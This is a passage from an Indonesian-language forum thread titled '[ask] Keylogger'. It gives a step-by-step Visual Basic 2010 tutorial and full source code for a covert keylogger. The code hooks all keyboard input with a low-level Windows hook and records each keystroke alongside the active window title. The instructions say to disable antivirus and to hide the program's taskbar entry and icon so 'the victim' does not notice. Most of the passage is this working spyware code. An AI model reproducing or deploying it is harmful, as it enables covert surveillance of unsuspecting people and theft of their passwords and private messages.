TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "9" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + "0" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine strin = GetActiveWindowTitle() End If End Sub End Class klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini
6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process untuk lebih jelasnya,lihat gambar berikut :
SS langkah 1 : [You must be registered and logged in to see this image.]
SS langkah 2 : [You must be registered and logged in to see this image.]
7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja
7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini : [You must be registered and logged in to see this image.]
jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All.
Credit's : RieqyNS13 very nice gan... manteb dah, ane dah berhasil... misi ane kelar, thx gan | |
| | | Ryan San Rakagi Moderator
Jumlah posting : 260 Join date : 2011-04-19 Age : 29 Lokasi : CIREBON
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 8:07 pm | |
| - bad rank wrote:
- Ryan San Rakagi wrote:
neh gan
kebetulan ane msh ada source bikin keylogger
silahkan di coba
membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
komponen VB 2010 :
1) 1 Timer 2) 1 TextBox 3) 2 Label
========= Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu 1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini : [You must be registered and logged in to see this image.]
1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut : [You must be registered and logged in to see this image.]
2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False. gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga [You must be registered and logged in to see this image.] 3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini : - Code:
-
Public Class Form1
End Class 4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih
5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut : - Code:
-
Public Class Form1 Public Class KeyboardHook Private Const HC_ACTION As Integer = 0 Private Const WH_KEYBOARD_LL As Integer = 13 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scancode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _ Alias "SetWindowsHookExA" _ (ByVal idHook As Integer, _ ByVal lpfn As KeyboardProcDelegate, _ ByVal hmod As Integer, _ ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _ (ByVal hHook As Integer, _ ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _ (ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _ (ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc) KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys)) End Select End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam) End Function Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook) MyBase.Finalize() End Sub End Class Private WithEvents kbHook As New KeyboardHook Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Dim strin As String = Nothing Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & 